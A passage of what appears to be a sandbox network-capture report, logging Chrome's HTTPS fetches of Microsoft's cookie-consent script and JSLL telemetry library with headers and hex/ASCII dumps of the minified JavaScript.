2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c 74 29 3a 28 72 3d 31 2c 69 3d 32 30 2c 34 3d 3d 3d 6e 26 26 28 Data Ascii: [lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,t):(r=1,i=20,4===n&&(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49738	13.107.246.45	443	8128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:08 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 03:39:08 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:39:08 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22979 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 9e73ce7a-701e-005e-676c-382b3f000000 x-ms-version: 2009-09-19 x-azure-ref: 20241117T033908Z-1866b5c5fbbz7hb5hC1DFWru7c00000003hg00000000nf9a Accept-Ranges: bytes
2024-11-17 03:39:08 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-17 03:39:08 UTC	713	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-11-17 03:39:08 UTC	3565	IN	Data Raw: 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 Data Ascii: -")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChange

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49739	13.107.246.45	443	8128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:08 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 03:39:08 UTC	868	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:39:08 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 8d896b17-401e-00b1-17a3-2ddeca000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241117T033908Z-1866b5c5fbbwlv6nhC1DFWw4bs000000025g00000000c56s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 03:39:08 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-17 03:39:08 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-17 03:39:09 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-17 03:39:09 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
2024-11-17 03:39:09 UTC	16384	IN	Data Raw: 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 7c 7c 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 Data Ascii: otype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].name\|\|~t[n].name.indexOf
2024-11-17 03:39:09 UTC	16384	IN	Data Raw: 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 6c 69 63 65 22 2c 44 67 3d 22 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: en",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="splice",Dg="toLowerCase
